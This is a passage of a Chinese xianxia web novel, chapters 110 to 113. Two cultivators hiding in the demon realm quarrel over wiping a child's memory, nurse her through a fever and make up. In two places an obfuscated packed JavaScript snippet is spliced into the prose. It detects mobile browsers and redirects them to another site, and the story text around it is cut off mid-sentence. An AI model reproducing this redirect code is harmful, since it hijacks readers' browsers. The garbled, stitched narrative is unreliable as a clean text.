“你把那些家具都摆好便可。” 祝昭昭如获大赦:“得嘞。” 她先尝试挪床—— “床头不要靠窗。” 祝昭昭换。 “也不要对着门。” 祝昭昭再换。 “两张床确实不该靠太近,” 慕行秋语调慢悠悠的:“但离得太远,还怎么摆放其他东西。” 祝昭昭:“……” 沉默许久,她再次动起来。 这次,祝昭昭终于听不见纠正的声音。 擦擦额角的汗,她开始拖柜子。 继而得到—— “离床太近如何打开柜门?” “那处太偏,拿取物品不会太方便。” “师妹在外游历的那些年,想来应该都是在客栈住宿或野外罢。” 我*! 实在忍无可忍,祝昭昭疾步走到木材堆掰了一块木头。 接着指尖灵力化刃,快速对着掌心木头挥舞一阵。 最后笑眯眯地,双手合十掩住完工的木头小跑到慕行秋面前。 再当着他面将之打开—— “这是……”慕行秋捻起她掌心的小木块。 那是一个竖中指形状的木雕。 祝昭昭笑眯眯地:“这是我觉得你太辛苦,特地为你做的。” “为你加油哦!” 202简直已经不忍直视。 看着面前人言笑晏晏的脸,慕行秋总觉得有哪里不对劲,但又实在无从觉察。 盯着掌心的木雕半晌,直觉和他对祝昭昭的了解都在告诉他,这个小东西,很难是什么好玩意—— 但他最后还是将之收了起来。 “谢谢师妹。” 慕行秋颔首微笑:“但师妹好好布置房屋,我同样会很高兴。” 这死家伙……! 看着他手底下雕刻精美的莲花,祝昭昭一肚子鸟语花香硬是憋了回去。 行,至少是以身作则了。 慢吞吞地走进房中重新开始布置房间,在又一次被慕行秋‘提示’摆放位置不对后,祝昭昭终于认输长叹:“我们只是在这里暂住,有必要那么认真吗?” 慕行秋头也不抬:“一言一行皆当认真,身处之所更是。这不是对他人负责。” “这是对自己负责。” 祝昭昭再度长叹。 听得一阵好笑,慕行秋再道:“况且若是不出意外,直到找到离开魔界的路为止,我们可能都要待在这。” “你如何确定这个‘暂’是多久?” 闻言刚想反驳,祝昭昭抬头,却忽然愣在原地。 从窗口望见呆滞的祝昭昭,慕行秋亦是一愣,接着似有所察地转身。 对上两人的目光,不知何时站在院中的小枝歪头:“阿慕哥哥,阿昭姐姐,你们要走了吗?” “魔界又是什么意思啊?” 110. “照我说的做,你们很快就会和好啦!”^^…… 小枝眼底闪动的懵懂分明,让祝昭昭很快反应过来她是睡醒了就第一时间找过来。 思忖着,她身形欲动。 有人却比她更快。 “你干什么?!” 眼睁睁看着小枝软倒在慕行秋怀里,祝昭昭动了真火:“你弄晕她做什么?!” 慕行秋并不回答。 只是在指尖凝出点点灵力。 几乎是立刻就意识到他是要洗掉小枝的记忆,祝昭昭眼瞳骤缩,箭步上前拍散他指尖灵力。 再一把从他怀里抢出小枝。 从始至终不做任何反抗,慕行秋静静望着祝昭昭动作。 片刻后,他缓缓开口:“你确定你要放任她。” 闻言猛抬起头,祝昭昭扬声:“我没有,我只是……!” 空气沉寂下去。 直到祝昭昭再次出声。 垂眸看着小枝略微苍白的脸,她听见自己嗓音干涩:“小枝还小,直接粗暴地用灵力清洗她的记忆,很可能会伤到她的脑子。” “所以你的意思是我们如今的处境很安全,” 慕行秋神色里泛起冷意:“安全到我们可以放任一个年幼的孩子听见我们的秘密后,还可以直接离开。” “那就能因为考虑我们的处境,而冒着让她痴傻的风险消除她的记忆吗?!” 抱紧怀中小枝,祝昭昭毫不退让:“母亲年老体衰,女儿年岁尚幼。她们祖孙三人本就辛苦求生,若是小枝再痴傻,” “玉娘要怎么办?!” 慕行秋静静等祝昭昭说完。 直到确认她语毕,他才继续:“那么在玉娘之前。” “你是否想过,月书还在等你回去。” ‘月书’两个字出现的刹那,祝昭昭搂住小枝的手忽地一紧。 慕行秋将她反应看在眼里:“不止月书,之衡、云珈、甚至是你的师父,剑宗宗主……” “他们都在等你回去。” 视线落在祝昭昭流连肩头的长发,慕行秋听见自己毫无起伏的声音:“玉娘祖孙三人辛苦不易的确不假,但亦有你珍视之人在盼你回去。” “魔界有守魔界隔绝,想回修行界几乎难如登天。我们寻路之途本已是困难飘渺,不知有多少未知险恶……” “你却还要因你的一念之差,放任更多可能的危险出现么。” 祝昭昭抿唇。 从头到尾,对面人的语调都平静得毫无波澜,仿佛只是在聊闲。 可脱口的话却锋利。 她当然知道放任小枝带着记忆离开,可能会让自己和慕行秋非魔界原住民的身份被暴露。 也知道一旦暴露,很可能会让自己和慕行秋的情况变得麻烦。 可小枝何其无辜? 她并没有做错什么。 思忖着,祝昭昭望着怀里还不到五岁的小女孩。 “我会尽可能小心。” 慕行秋的声音打断她思绪:“如果你担心记忆清洗会让小枝痴傻,那我会尽力在保护好她的前提下,一点点清洗掉她的记忆。” 祝昭昭几乎立刻:“保证她不会痴傻?” “保不保证都要洗。”慕行秋指尖再次闪现出灵力,“把她交给我。” 祝昭昭静静看着他。 慕行秋一片沉寂的眼底让她很清楚地意识到,在洗掉小枝记忆这件事上,慕行秋不会妥协。 于是祝昭昭闭眼深呼吸。 下一秒,她搂着小枝肩膀的手缩进小枝后背。 随着‘啪’的一声响起,小枝闷哼着皱起眉眼。 再睁开—— “阿昭姐姐,你为什么抱着我啊?” 从祝昭昭怀里直起身。小枝眼神还有些懵然:“阿慕哥哥,你是在生气吗?” 即使不特意去看,眼尾余光也足够让祝昭昭清楚瞧见慕行秋此刻脸上意味不明的神情。 但她只当不知道。 拍拍小枝脑袋转移她注意力,祝昭昭微笑瞧着她:“他刚才被虫子咬了,所以有点不开心哦。” 小枝露出同情的表情:“啊?” “被虫子咬可疼了,那阿慕哥哥太可怜了。” “对啊,”祝昭昭把她放到地上,“所以我们先走开一会儿,不打扰阿慕哥哥了好不好?” “嗯嗯。” 点完头,小枝乖乖跟着祝昭昭离开。 路过慕行秋时,祝昭昭目不斜视。只是在与他擦肩而过的刹那,对他精神传音—— “我会处理好。” * 带着小枝走到一处灌木丛,祝昭昭盯着一片叶子出神。 “为什么要和大反派吵架?” 202从精神空间内部看着外面的情况:“主人你明明会做和他同样的事。” 摸摸小枝的头,祝昭昭回答它:“但我可以保证做到绝对不伤到小枝的神智。” “他不可以。” 202点头,但表示不理解:“那主人你直接和大反派说不就行了吗?” “就说你可以更安全的清掉小枝记忆就可以了,这话有那么难说出口吗?” “这话说出口是不难。” 祝昭昭很难形容此刻内心的感受:“但怎么合理化这件事,很难。” “我一个金丹,随便就能比化神的慕行秋更强是吗?” “元婴。”202提醒。 祝昭昭无语凝噎:“好,元婴。” “那元婴就能比化神清洗记忆的手段还强了?” 用一种一言难尽的表情看着202,祝昭昭继续道:“你怎么敢把这话说出来的。” 闻言有些不好意思地在祝昭昭身旁晃悠两圈,202想了想又问:“可是等会儿小枝出去,大反派发现她把刚才的记忆忘得一干二净……” “那不还是会怀疑主人你吗?” 祝昭昭对此没什么反应:“我知道。” 202‘嘶’一声:“那主人你?” “所以我们要换一种方式。” 话落示意202准备记忆清洗模式,祝昭昭将注意力放回面前的小枝身上。 蹲下身,她看着小枝微笑:“小枝。” “怎么了,阿昭姐姐。” 扔掉手里的杂草小花,小枝把手在衣服上蹭干净:“你们还没告诉我呢,什么是魔界啊?” 电击一直在脑海里大叫‘熊孩子脏死了’的202,让它闭上嘴。祝昭昭观察小枝半晌后,将指尖灵力点在她眉心偏左。 望着她很快迷蒙的双眼,祝昭昭嘱咐202:“洗掉她的记忆。” 202欢快答应:“好嘞!” 静静蹲在原地发呆,直到听见脑海里202一声‘可以啦’,祝昭昭很快回过神来。 她开口,语气轻得像风—— “小枝。” 双眼失焦的小枝同样轻轻地应她:“是。” “你今天和娘还有婆婆一起去了集市,你们吃了好吃的,玩了好玩的,很开心。” “是的。”小枝低声喃喃,“小枝和娘还有婆婆一起去了集市,很开心。” 祝昭昭望着小枝的眸光微闪:“你回了家,就来找阿昭姐姐和阿慕哥哥。你看他们修房子,他们给你吃了饴糖。” “然后娘叫你,你开开心心回家。” 小枝乖乖跟着祝昭昭念:“我回家,就找阿昭姐姐和阿慕哥哥,看他们修房子,吃饴糖。” “然后娘叫我,我回家。” 盯了小枝片刻,祝昭昭再次让她重复了一遍刚才说的话。 小枝照做。 至此确认记忆替换成功,祝昭昭抬手轻轻拂过小枝双眼:“好孩子。” “醒来吧。” 祝昭昭话音落下的瞬间,小枝眼中也恢复了神采。 她眨巴眨巴眼:“阿昭姐姐,你怎么在这里啊?” “这是哪里?” 拍拍小枝四处乱看的脑袋,祝昭昭指指身后不远的屋子:“你刚才贪玩乱跑摔倒了,我好不容易把你扶起来呢。” 小枝不好意思地‘啊’了一声:“对不起阿昭姐姐,是我太调皮了。” “没关系。”祝昭昭眉眼弯弯,“你还小,下 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没听到回答,也没指望听到回答,她话落,径直走回小屋。 入夜—— 谢绝了玉娘一起吃饭的邀请,祝昭昭随意往嘴里塞了把辟谷丹后,继续在床上躺尸。 倒不是在幕行秋的气,毕竟他说的确实有道理。只是经过早上一遭,她确实不知道怎么重新破冰。 正在精神空间里联网斗地主的202抽空哔哔:“主人你主动和大反派打招呼呗。” 心情本来就不怎么样,祝昭昭‘啧’一声:“怎么打,从床上伸脖子起来和他说哈喽吗?” “哎呀,哪用得着那么麻烦!” 202两只眼睛不离投影界面:“只要主人你按我说的做,保证你和大反派立马和好如初。” 如果说刚开始还只当202在胡说八道,那么这会儿,祝昭昭是确实有点被它言之凿凿的架势说好奇了。 她随意扫了眼屏风另一边正在打坐的人影:“行。” “那说说你的妙计。” “很简单的!”这当口打出一个炸,202欢呼,“主人你现在起来。” 祝昭昭翻了个身:“然后呢。” “然后状似无意地走到大反派身边。” 开始察觉不对的祝昭昭:“……” 专心打牌的202继续:“再装作不小心,在他面前跌倒。” “切记‘不小心’这个关键重点!” 大喊一声‘拦住地主’后,它震声:“到时候,大反派一定会为了避免主人你摔跤而把你扶住。” “主人你再趁机顺势道谢,大反派接受你道歉,你们就会顺利和好啦!” 完全没有察觉到从某个时刻起,祝昭昭就已经再也没吭声过。牌局结束,202愤恨地叹息:“可恶啊,差一点就赢了。这把叫了三分呢!输好惨啊,我都快没欢乐——” ‘豆’字被噼里啪啦的电击声取代,祝昭昭死鱼眼收起惩罚界面,退出精神空间。 再换另一边脚跷二郎腿。 被电得已经话都说不太利索,202颤颤巍巍提醒:“主人……你这样……会被大反派……注意到的。” 祝昭昭眼皮都不带抬一下。 那就注意到呗。 谁在乎。 夜晚的树林太过静谧,加上幕行秋也始终在专心打坐,于是不多时,祝昭昭的眼皮开始打架。 又在下一秒,被门口方向传来的匆匆脚步声惊醒。 合拢的木门自动打开,一路小跑的玉娘很快停在门口。 她话音带着哭腔:“不好了两位恩公,小枝她,她……” “她发烧了!” 小枝发烧了? 心头咯噔一下,祝昭昭从床上弹起身,刚准备往门口走,就在屏风处突然被人握住手腕。 先是一怔,她抬头,正对慕行秋平静的眉眼。 “一起去。” 慕行秋看着她。 111. “过去的就让它过去吧。” 手腕传来身旁人掌心的温度,祝昭昭说不上此刻的心里究竟是什么感觉。 身体的反应却比意识更要快几分。 手腕一翻握住慕行秋的手,她拉着他,匆匆走向门口处一脸焦急的玉娘。 “我们现在就去看看。” 祝昭昭话落,快步跟上转身开始小跑的玉娘。 完全无意识地,她途中松开手。 下一秒,却感觉手重新被人握住。 祝昭昭立刻扭头,和慕行秋正看着自己的目光撞了个正着。 她眨眨眼,嘴巴刚张开—— 身后慕行秋已经先她一步开了口。 他说:“你太慢,我带你走。” 话落不给祝昭昭反驳的机会,慕行秋几步赶上她,带着她跟上已经走远的玉娘。 祝昭昭呆呆望着身前人的背影。 好半晌,她才终于吐出口气,忿忿在心里吐槽—— *的,腿长了不起啊? 本来还在一脸兴奋围观看戏的202:“……” 它的主人是不是脑子不太好? * 很快跟着玉娘来到她们的屋子,刚进门,祝昭昭就听见那位老妪焦急的哭声。 一见三人到来,行动不便的老妪就颤巍巍指着不远处床上的小枝:“你们快看看小枝吧,她方才吐了!” 闻言顺着老妪手指的方向看过去,祝昭昭果然在地上瞧见一小摊水渍。 她走到床旁。 床上小枝已经烧得满脸通红,似乎是察觉到有人靠近自己,她艰难地睁开眼。 再在认出祝昭昭时笑开:“阿昭姐姐,你来啦。” 祝昭昭轻抚她额头,又被掌心传来的温度一惊。 面上却平静:“嗯。” “阿昭姐姐,我很乖,没有弄脏被子和床哦。” 说着像是想起什么,小枝挣扎着,准备爬起来:“对了,刚才婆婆看见我不舒服,想过来扶我,差点就摔了。” “阿昭姐姐你们先看看婆婆吧。” 玉娘闻言,视线有些为难地在小枝和老妪之间梭巡,最后是祝昭昭往老妪的方向轻抬下巴,才让她匆匆走向老妪。 祝昭昭重新将注意力放在小枝身上:“小枝,你现在感觉身上哪里不舒服?” 被祝昭昭按回床上的小枝指指脑袋:“小枝感觉头有点晕晕的。” 头晕? 心底再次一个咯噔,祝昭昭刚准备说点什么,玉娘的声音便从身后传来:“小枝小时候也发过热,当时虽然侥幸治好,但最后还是落了些病根,不时就会头疼。” “可后面我一直用药给她调理,她已经许久没有再发作了,不知这次为何突然……” 说着擦了擦眼角,玉娘长叹:“都怪我未把小枝照顾好,这顽疾怕是要跟她一辈子了。” 摸着小枝额头的手微顿,祝昭昭没吭声。 玉娘不知道小枝为什么突然头疼发作,她心里却清楚。 小枝十有八九是因为今天早上记忆被修改的事引发了旧病。 快速扫描检查的202把结果告知了祝昭昭:“主人,这小朋友大脑没有器质性病变,之所以头痛发烧,应该是修改记忆的时候刺激到了。” 轻抚小枝额头,祝昭昭在脑海里回它:“需要特殊处理吗?” “正常来说不需要。” 202作思考状:“不过这小朋友营养不良,倒是可以针对性补一下。” 难得一时语塞,祝昭昭沉默着离开精神世界。 盯着烧得迷迷糊糊的小枝,想了想,她从储物袋里取出一只小瓶子。 还不等她有所动作,身后便忽然伸过来一只手。 视线从手里的瓷瓶移到手的主人,祝昭昭看着慕行秋。 “这个效果会更好。” 慕行秋说着,再次把瓷瓶朝祝昭昭靠了靠近。 再精神传音:“这件事我也有责任。” “就当是我的赔罪罢。” 慢吞吞接过瓷瓶,祝昭昭将之打开,这才发现慕行秋给的,竟然是对温养体质有奇效的高阶丹药‘秋雨蕴’。 作为主要功效是修复灵脉的高阶丹药,秋雨蕴从来都是一众修行者趋之若鹜的宝贝,多少修士耗尽千金都求不来。 慕行秋居然拿这样的东西来赔罪?? 平静变惊吓,瞳孔地震的祝昭昭转身想向慕行秋确认他是不是掏错药了。 却发现刚刚还站在自己身后的人,这会儿已经不知道去哪了。 暗忖要真是给错了,不可能跑那么干脆。加上慕行秋也不是毛手毛脚的人,于是祝昭昭虽然心里犯嘀咕,但最后还是从瓷瓶里倒了颗药给小枝喂下去。 可药是喂了,起效还需要时间。 祝昭昭望着迷迷糊糊的小枝。 根据202刚才给出的扫描结果,她现在已经烧到了必须快速降温的程度。而快速降温的方法…… 来时曾注意到门外屋檐下,板凳上放着一只盆。祝昭昭替小枝掖了掖被角,转身朝门口走。 然后刚没走两步,就看见慕行秋端着那只盆走了进来。 祝昭昭看看盆里还在冒热气的水,又看看慕行秋,一下居然有些词穷:“你……” 慕行秋没和她客气,直接把木盆往她怀里递:“孩子不能烧太久。” 闻言回过神来,祝昭昭接过木盆走回小枝床旁。 刚准备动手,才发现没有帕子。祝昭昭还没开口问玉娘要,再次从身后递过来的手里,已经捏着一张白帕子。 一同给到她的,还有慕行秋语气淡淡的一句:“腋下,肘窝与膝盖后。莫要擦拭脖颈。” 直到此刻,祝昭昭看向慕行秋的目光里,终于带了点意外。 但她掩饰得很好,只是垂眸接过帕子,再将之放进木盆里浸湿,最后挤干,轻轻为小枝擦拭。 与逐渐起效的秋雨蕴配合着,两轮擦拭过后,小枝的体温逐渐回落。由202扫描确认过小枝已经没有大碍后,祝昭昭端着木盆离开屋子。 出门后才发现慕行秋正在院中打坐,祝昭昭斜他一眼,多走几步将盆中水泼洒在院外。 把木盆放回原位,再以灵力将帕子清理干净,见慕行秋打坐得专注,祝昭昭弯腰将帕子放在他身旁,就准备离开。 然而她人刚准备后撤,慕行秋就睁开了眼。 视线微微倾斜着,落在祝昭昭面颊,他语气平静而清晰:“那孩子情况如何。” 很正常的问话。 却因为两人之间过近的距离,而硬是显得有些不对劲起来。 身旁人温热的气息伴随着月清花的气味强势占据了祝昭昭的感官,让她避无可避。 她听见自己声音发干:“……多亏你的秋雨蕴,小枝已经没事了。” “但如果不是因为记忆清洗,她本可以避开这遭。”慕行秋笑了声,“所幸动手的是你,若换作是我……” 他默了默才继续:“只怕那孩子今日情况只会更加棘手。” 祝昭昭没说话。 因为哪怕早已顺势直起身,但她却忽然注意到一个问题—— 慕行秋竟然放任她靠他很近! 以他的修为,哪怕是入定打坐,也能随时能察觉到有人或物靠近自己。 也就是说,刚才她弯腰放手帕的时候,他一定是知道的。 但他竟然选择了任由她靠近? 一个最讨厌别人无故靠近自己的人,竟然任由她靠近? 祝昭昭:思考·jpg 由于思考得太认真,她下意识开了口:“不应该啊。” 空气安静下来。 紧跟着,是慕行秋略带疑问的一句—— “什么不应该。” 脑袋‘嗡’一声,祝昭昭当时就三魂七魄齐归位。 坏了。 对面人的视线太有存在感,顿感不妙的祝昭昭轻咳两声:“……不应该那么熟练。” 维持着打坐姿势,慕行秋一副静待下文的表情。 那模样看得祝昭昭头痛:“我是说,你为什么对照顾生病孩子这事那么熟练。” “毕竟不论怎么说……” 她斟酌了一下说辞:“你身边大多数时候应该都是修行者,他们不像普通人,有那么多病痛。” “那你又从哪学到的照顾生病孩子的经验?” 祝昭昭没听到回答。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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眼底泛起一丝了然,慕行秋望着祝昭昭轻笑:“所以那时候,悬崖对面窥探我的人是你。” 祝昭昭一下哽住。 这人为什么突然提这事。 他难道不是应该早就知道了吗? 祝昭昭:沉思·jpg 被她局促模样逗得忍俊不禁,慕行秋语气随意:“过去的事已经过去,我不会怪你。” “不必如此紧张。” 闻言在心底松了口气,祝昭昭不好意思地挠挠面颊:“……我以为你会不太喜欢别人看见你落魄狼狈的样子。” 202在精神空间里强调:“是非常不喜欢,大反派超级记仇。” 祝昭昭没搭理它。 “看见又如何,看不见又如何。” 慕行秋语气平淡地仿佛只是在谈论一件无足轻重的事:“事情总归已经发生了,不是么。” 祝昭昭还没开口,202再次插嘴:“他骗你的。” 祝昭昭:…… 当场把202的显示屏电成乱码,已经走到两人的小屋,祝昭昭推开篱笆门:“确实。” 眼底浮现点点讥诮,慕行秋垂首跟在她身后:“既然事情已经无法改变,那么被人看见又如何?” “可以改变。” 闻言一怔,慕行秋抬头。 前方的少女不知何时转过了身,此刻正背手看着自己。 她神色平和,望来的眸光含笑却坚定—— “只要能被看见,就有改变的机会。” “任何事情都一样。” 任何事情…… 都一样? 掩在袖中的手不自觉微蜷,回过神的慕行秋轻笑:“是么。” “当然。” 祝昭昭弯起眉眼。 否则他们维护员是来干什么的? 吐槽完,她散着步来到床铺旁:“还有,虽然不知道慕师兄你为什么会和我多说这些,但我还是要提醒你。” “有些事随意对人说出口,可是要招祸的。” 往身上施了个净身诀,祝昭昭倒进床铺里,一手托腮,另一手竖起食指抵在唇中。 目光从她写满狡黠的脸上收回,慕行秋一言不发拉好屏风,再走回自己的床铺。 她说得没错。 有些事,本就不该随意对人说出口。 可为什么面对她的时候…… 他却总会忍不住,想让她更多些地了解自己呢? 抬手间烛火熄灭,慕行秋阖上双眼,任由自己陷入一片黑暗。 112. “我来为你梳头罢。” 第二天天还没亮,祝昭昭就被一阵响动吵得睁开了眼。 循着声音来源推开窗,她看见玉娘左手小枝,右手老妪,这会儿正准备放开小枝整理背上行囊。 而玉娘虽忙,手上动作却不乱,显然这样的场景已经是她的日常。 祝昭昭于是敲敲窗户:“玉娘,一大早的你带着小枝和婆婆是要去哪?” “啊,阿昭。” 整理好行囊,玉娘抬头:“我是要去绣坊上工呢。” “去绣坊上工?” 朝和自己开心打招呼的小枝笑了笑以示回应,祝昭昭皱起眉:“为什么要带着小枝和婆婆?” 摸摸小枝的脑袋,玉娘脸上笑容有些勉强:“婆婆行动不便,小枝又年岁尚幼,照顾不了她。” “我没有办法,只能暂时先带着她们一同上工,直到小枝能独自照顾自己为止。” 点点头,祝昭昭轻声:“原是如此……” 正喃喃着,她脑中忽然灵光一闪。 在这种人员流动率几乎为零的小镇,每一个陌生人,都很轻易就会被认出来。 在这种情况下,他们再贸然探路,很容易就会被人盯上。 而被人盯上,意味着很多麻烦事会接踵而来。 那不是她想要的。 可要是他们先以‘投靠玉娘的亲戚’这个身份,在小镇混一阵子眼熟呢? 心念急转间,祝昭昭叫住准备离开的玉娘:“可小枝刚刚痊愈,婆婆看起来好像也有些疲乏。” “就这样带她们去绣坊,没关系吗?” 这话显然点到了玉娘的心事。 欲走的脚步微顿,她神情低落:“没事的……小枝很乖,她能照顾好婆婆。” “但小枝昨夜才发过热不是吗?” 点好净身诀,祝昭昭随手扯过床头的外衣披上:“我知道小枝懂事,但不论如何,她总也是个孩子。” “孩子刚病愈就要照顾婆婆,实在也有些勉强她了。” 扎好腰带,祝昭昭闪身出现在玉娘三人身旁:“我昨夜亲眼看着小枝难受得睡不着的模样,实在担心啊。” 显然是想起了昨夜的惊险,玉娘眼眶泛起红意:“可我没有办法,我不去绣坊上工,我们一家三口就没有饭吃啊。” 见玉娘似乎情绪不太对,祝昭昭连忙接过她话头:“确实,我也知道玉娘你一个人拉扯孩子和婆婆不容易。” “所以我的意思是,我可以帮你。” 乍然抬头望着祝昭昭,玉娘呆住:“……什么?” “我是说。” 祝昭昭笑眯眯地:“我可以帮玉娘你,去绣坊上工。” 终于反应过来祝昭昭到底在说什么,玉娘顿时瞪大眼,脸上表情也写满不赞同。 然而玉娘的反应,早在把她脾性摸透的祝昭昭预料之中。 祝昭昭佯作无事地继续道:“小枝刚刚病愈,婆婆被她惊吓,身体状况一定也会有所不稳。” “所以玉娘你这段先安心照顾她们,待到她们都恢复得差不多了,再回绣坊上工。” 她掰着手指算:“这样一来,既可以让我熟悉一下集市,又可以让玉娘你好好照顾小枝和婆婆。” “而且最重要的是,这就不会让玉娘你有因为担心家里小枝和婆婆,心不在焉出差错的可能。” 祝昭昭仔细观察玉娘的表情:“毕竟布料金贵,要是出了什么差错,我们这样的人很难赔得起吧。” 最后一句话出口时,她敏锐地瞧见玉娘脸色微变。 果然下一秒,玉娘皱紧眉头喃喃:“确实,上个月阿姑就是因为心不在焉绣坏了一块布,被坊主好一顿教训来着……” “这就是了。” 祝昭昭循循善诱:“所以这段时间我帮玉娘你去绣坊上工,待到小枝和婆婆身体都好得差不多了,你再回去。” “这样一来,既不会耽误到玉娘你在绣坊的活计,你又能专心照顾小枝和婆婆。” “岂不是两全其美?” 玉娘神色的松动,完全在祝昭昭预估之中:“可刺绣是精细活,阿昭你能行吗……” 说着意识到这话不妥,她连忙找补:“我是说,我们确实都是粗人,鲜少接触好布匹。” “我知道阿昭你人机灵。” 玉娘抿唇:“但刺绣这一活计确实需要经验。若是不熟刺绣又贸然动手,坊主责怪、扣工钱事小,得罪贵人事大啊……” 祝昭昭当然知道玉娘的担忧是事实:“这事玉娘你别担心。” “到了绣坊,我会先和坊主解释一下,再慢慢从头开始学。我会努力,而且我学东西很快。” 说着朝玉娘眨眨眼,她神色狡黠:“玉娘你这段日子安心在家里照顾小枝和婆婆就好。” 轻抚小枝脑袋,玉娘笑容有些苦涩:“那真是麻烦阿昭你了。你帮了我那么多,我却……” 闻言摇摇头,祝昭昭随手撩拨起披散在身后的长发:“话不能这么说。” “我和阿慕初来乍到,如果不是玉娘你好心收留我们,我们这会儿可能还在不知道哪个山洞落脚呢。” 像是被祝昭昭提醒,玉娘问她:“阿昭你倒是提醒我了。你去绣坊,不用和阿慕打个招呼吗?” “不用。” 完全不当回事,祝昭昭大方摆手:“我一会儿直接过去就好了,跟他有什么好说的。” 玉娘有些意外:“阿昭你这样,阿慕会担心的吧?” “不会。” 男人的声音在两人身后响起,玉娘循声回头,祝昭昭则眼皮都没抬。 毕竟不用看都知道来的人是谁。 “你过来干什么?” 她抬眼看向已经走到身旁的人:“你不是在入……有事要忙吗?” 知道祝昭昭想说的是‘入定’,慕行秋莞尔:“我的事情已经忙完。” “哦。” 倒是并不意外慕行秋会出来,祝昭昭开门见山:“你要和我一起去集市?” 慕行秋想也不想:“是。” 祝昭昭作思考状:“我是去绣坊帮玉娘,你去集市能做什么?” “不管做什么,我总能找到活计。” 慕行秋笑得眉眼弯弯:“直到和你一起熟悉集市为止。” 什么叫‘和你一起熟悉集市’? 总觉得这话听起来怪怪的,祝昭昭斜睨他一眼。 再重新将注意力放回玉娘身上:“玉娘你看,这下他和我一起了,那就没问题了吧?” 玉娘点点头。 “那既然如此。” 祝昭昭高兴一合掌:“玉娘你们的绣坊什么时候开始上工?” 玉娘望了眼天色:“大约是寅时末。” “寅时末啊。” 快速估了下时间,祝昭昭再次将被风刮到脸颊的碎发挽回耳后,“那如今这会儿时间还早,玉娘你刚好教教我怎么去集市吧。” “好。”玉娘答应下来,“我先把婆婆送回去,也让小枝再多睡会儿。” “阿昭你等我一下。” 玉娘话落,便扶着婆婆回了屋子。 目送她三人回屋,祝昭昭整个人放松下来,也终于能分出心思处理头发。 然而手刚摸上头发,她忽地怔住了。 因为她不会。 也不是完全不会,就是只会绑点马尾之类的极简发型。 平时那些花样繁多的发髻,全都是白月书又或偶尔是贺稚雪和云珈扎的。 至于她自己,是真·一点点都不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280595|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 更糟糕的是,如果她现在是独处,大不了让202找点小模块帮忙弄一下。 可现在她身旁还有一个那么大的慕行秋,这会儿好像还在盯着她…… 祝昭昭:沉默·jpg 真是的,看什么看! 她突然无比后悔之前在剑宗乃至天玄山的时候,自己都因为懒而放弃了亲自鼓捣头发的机会,导致这下有心无力,对披散在身后的一头长发完全没有办法。 干脆扎个马尾再施个幻术维持人样得了…… 心灰意冷的祝昭昭正含恨在心底吐槽,耳旁慕行秋的话音蓦地响起—— “为何披头散发地出来?” 披…… 披头散发?! 祝昭昭一口气差点没吸上来。 就算是实话,但怎么可以这么直接说出来?! 对慕行秋阴阳怪气的本事已经有了深刻认知,祝昭昭当即决定先下手为强:“你以为我愿意啊?” “我这样还不是为了我们能早点出去。” 盯着慕行秋的眼睛不自觉含了怒,祝昭昭伸出手指飞快朝他胸口虚点:“你不体谅我也就算了,现在竟然还想笑话我。你……” “不如我替你绾发。” 垂眸,慕行秋望着离自己胸口只有一线之隔的小巧指尖。 嗯? 手上动作瞬间停住,祝昭昭眨眨眼。 半晌眼睛一点点睁大,她不可置信地抬头:“……你说什么?” “我说。” 慕行秋面不改色:“若你同意,我可以帮你绾发。” 终于彻底听清楚慕行秋到底说的什么,祝昭昭‘嘶’一声:“可是你能行嘛,你看起来不像……” “你只需告诉我,”慕行秋语调始终平静,“你同不同意。” 祝昭昭:…… 得,反正再坏也坏不到哪去。 那就死马当成活马医吧。 怀着一种破罐破摔的复杂心情,她沉重点头:“行。” 慕行秋见状挑眉,同时示意她走到自己面前:“背对着我。” 皱眉,祝昭昭飞快瞧他一眼。 最后照做。 很快感觉头发被手指撩起来,祝昭昭低头,百无聊赖地盯着脚:“你居然还会扎头发。” “我还是今天才知道。” 手上动作不停,幕行秋话音淡淡:“早年照顾月书时学过一些,一直记到现在罢了。” 种花绾发建房子,教书带队当打手…… 祝昭昭严重怀疑如果有需要,慕行秋会立马告诉她自己还会做饭。 全能保姆吗? 越想越觉得离谱,祝昭昭不由侧目。 “你都会扎什么样式的发髻?” 偷偷吐槽完,她开始揪腰带上缀着的流苏玩:“月书师姐最常绾的那个发式是你教的吗?” “不是。” 出乎预料地,慕行秋否定了祝昭昭:“她如今最常绾的发式,是之衡教她的。” “之衡师兄?” 祝昭昭简直怀疑自己耳朵:“他也会绾发?” 慕行秋闻言,话里带了笑:“别看之衡总全心全意扑在修行上,但绾发一事,月书确实不如他。” “倒不如说他两人一起行动时,起居方面其实是之衡照顾月书更多些。” 回想起在洛水镇的见闻,祝昭昭发现好像真是这样。 但嘴上还是装不懂:“我以为他们一起跟着你,什么都是一起学呢。” 空气中一时只剩鸟鸣。 倒是无所谓听不听得到回答,祝昭昭静静感受头发被绾起的感觉。 而直到眼皮渐渐开始打架,她终于听到身后传来一声。 “好了。” 113. “在你心里,魔族的人都这样吗?” 根据玉娘大概描述的路线,祝昭昭和慕行秋很快到达了集市。 “看起来还挺热闹。” 目送一个中年男子从自己面前离开,祝昭昭随手绕起落在肩膀的头发玩:“而且总觉得这地方和外面也没什么区别。” “不太像魔族地界的样子。” 眼底忽然闪过一丝意味难明的情绪,慕行秋垂下眼帘。 片刻后,他不答反问:“那么依你所言,魔族地界该是什么样子。” 完全没注意到身旁人的变化,祝昭昭闻言轻嘶一声:“你问什么样子……” “至少也该,” 她皱眉想了想,最后稍微斟酌了一下用词:“嗯,环境差点,大家火气会比较大,一不小心就会打打杀杀……” “那样?” 话到最后已经声如蚊蚋,祝昭昭心底一阵发虚。 她当然知道这是相当先入为主的刻板印象。 可谁让她上周目死得太按时,后面的剧情半点都没参与,也就根本谈不上了解。 到了这周目重开,她虽说顺利活到现在,但对魔界的了解,也仅止于位面设定的只言片语。 